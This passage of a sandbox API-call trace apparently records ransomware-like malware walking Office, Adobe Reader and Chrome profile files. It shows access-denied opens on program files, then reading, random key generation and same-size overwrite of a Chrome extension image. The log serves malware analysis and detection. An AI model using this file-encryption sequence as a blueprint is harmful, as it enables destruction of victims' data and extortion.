office\\office14\\pagesize\\pglbl110.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.764] GetLastError () returned 0x5 [0169.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML", dwFileAttributes=0x20) returned 0 [0169.764] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e70e8) returned 1 Thread: id = 5916 os_tid = 0x1fe0 [0168.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml")) returned 0x20 [0169.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML", dwFileAttributes=0x20) returned 0 [0169.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.766] GetLastError () returned 0x5 [0169.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML", dwFileAttributes=0x20) returned 0 [0169.766] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c506c0) returned 1 Thread: id = 5934 os_tid = 0x774 [0168.421] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\dexshare.asfx")) returned 0x20 [0168.422] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0168.424] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\dexshare.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.426] GetLastError () returned 0x5 [0168.426] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0168.428] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c9aa0) returned 1 Thread: id = 5935 os_tid = 0x658 [0168.428] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\services.asfx")) returned 0x20 [0168.430] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0168.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\services.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.434] GetLastError () returned 0x5 [0168.434] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0168.435] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c518) returned 1 Thread: id = 5936 os_tid = 0x654 [0168.436] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt")) returned 0x20 [0169.063] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt", dwFileAttributes=0x20) returned 0 [0169.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.063] GetLastError () returned 0x5 [0169.063] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt", dwFileAttributes=0x20) returned 0 [0169.063] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4320) returned 1 Thread: id = 5937 os_tid = 0x9ec [0168.437] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt")) returned 0x20 [0169.064] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt", dwFileAttributes=0x20) returned 0 [0169.064] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.064] GetLastError () returned 0x5 [0169.064] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt", dwFileAttributes=0x20) returned 0 [0169.064] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4160) returned 1 Thread: id = 5938 os_tid = 0xb08 [0168.438] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt")) returned 0x20 [0169.065] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt", dwFileAttributes=0x20) returned 0 [0169.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.066] GetLastError () returned 0x5 [0169.066] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt", dwFileAttributes=0x20) returned 0 [0169.066] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4cc0) returned 1 Thread: id = 5939 os_tid = 0x1acc [0168.439] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt")) returned 0x20 [0169.066] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt", dwFileAttributes=0x20) returned 0 [0169.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.067] GetLastError () returned 0x5 [0169.067] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt", dwFileAttributes=0x20) returned 0 [0169.067] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4da0) returned 1 Thread: id = 5945 os_tid = 0x1d98 [0168.451] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt")) returned 0x20 [0169.074] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt", dwFileAttributes=0x20) returned 0 [0169.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.075] GetLastError () returned 0x5 [0169.075] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt", dwFileAttributes=0x20) returned 0 [0169.075] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d52e0) returned 1 Thread: id = 5948 os_tid = 0xb14 [0168.453] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt")) returned 0x20 [0169.078] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt", dwFileAttributes=0x20) returned 0 [0169.078] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.078] GetLastError () returned 0x5 [0169.078] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt", dwFileAttributes=0x20) returned 0 [0169.078] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d5580) returned 1 Thread: id = 6010 os_tid = 0x19ec [0168.739] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf")) returned 0x20 [0168.739] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0168.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.739] GetLastError () returned 0x5 [0168.739] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0168.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c65c0) returned 1 Thread: id = 6047 os_tid = 0x1bd8 [0169.105] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf")) returned 0x20 [0170.278] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0170.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.278] GetLastError () returned 0x5 [0170.278] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0170.278] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c7880) returned 1 Thread: id = 6048 os_tid = 0x1bdc [0169.107] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf")) returned 0x20 [0170.279] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf", dwFileAttributes=0x20) returned 0 [0170.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.280] GetLastError () returned 0x5 [0170.280] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf", dwFileAttributes=0x20) returned 0 [0170.280] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c7640) returned 1 Thread: id = 6056 os_tid = 0x370 [0169.114] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf")) returned 0x20 [0169.981] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0169.981] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.981] GetLastError () returned 0x5 [0169.981] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0169.981] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bab38) returned 1 Thread: id = 6061 os_tid = 0x7f8 [0169.139] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf")) returned 0x20 [0170.292] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf", dwFileAttributes=0x20) returned 0 [0170.292] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.292] GetLastError () returned 0x5 [0170.292] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf", dwFileAttributes=0x20) returned 0 [0170.293] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6500) returned 1 Thread: id = 6089 os_tid = 0x1d38 [0169.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg")) returned 0x20 [0170.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg", dwFileAttributes=0x20) returned 0 [0170.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.006] GetLastError () returned 0x5 [0170.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg", dwFileAttributes=0x20) returned 0 [0170.006] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x939408) returned 1 Thread: id = 6090 os_tid = 0x1d40 [0169.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp")) returned 0x20 [0170.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp", dwFileAttributes=0x20) returned 0 [0170.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.004] GetLastError () returned 0x5 [0170.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp", dwFileAttributes=0x20) returned 0 [0170.005] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd4c8) returned 1 Thread: id = 6091 os_tid = 0x1d44 [0169.561] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png")) returned 0x2020 [0169.562] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png", dwFileAttributes=0x20) returned 1 [0171.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x580 [0171.030] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x24efd9c | out: lpFileSize=0x24efd9c*=4984) returned 1 [0171.030] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x1374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.030] ReadFile (in: hFile=0x580, lpBuffer=0x24efd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24efd1c, lpOverlapped=0x0 | out: lpBuffer=0x24efd20*, lpNumberOfBytesRead=0x24efd1c*=0x4, lpOverlapped=0x0) returned 1 [0171.031] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.031] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0171.031] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee70 [0171.031] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af000 [0171.031] NtQuerySystemTime (in: CurrentTime=0x24efcfc | out: CurrentTime=0x24efcfc*=132174899456242000) returned 0x0 [0171.031] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x74c9cc10 [0171.031] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x656ad986 [0171.031] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x3c1c6083 [0171.031] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x164cecb [0171.031] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x3a0efbeb [0171.031] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x2278f42f [0171.031] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x3869dad9 [0171.031] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x30568c44 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x49ac0da [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x7f188c09 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x58b7b8aa [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x3d15743 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x36d1224c [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x6b59eff2 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x34de7bb7 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x70e68537 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x15f981f5 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x6af24935 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x271942f7 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x18747903 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x4f664963 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x5ef7540e [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x6770f1fd [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x3e27e3cc [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x6698c771 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x59a87e70 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x45a8c630 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x67fcf57d [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x5ba2109d [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x1667225c [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x131cb626 [0171.032] RtlRandomEx (in: Seed=0x24efd08 | out: Seed=0x24efd08) returned 0x11fe6c67 [0171.044] ReadFile (hFile=0x580, lpBuffer=0xd505078, nNumberOfBytesToRead=0x1378, lpNumberOfBytesRead=0x24efcf8, lpOverlapped=0x0) [0171.045] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.045] WriteFile (in: hFile=0x580, lpBuffer=0xd511880*, nNumberOfBytesToWrite=0x1378, lpNumberOfBytesWritten=0x24efcf4, lpOverlapped=0x0 | out: lpBuffer=0xd511880*, lpNumberOfBytesWritten=0x24efcf4*=0x1378, lpOverlapped=0x0) returned 1 [0171.047] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0171.047] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af000 [0171.047] RtlFreeHeap 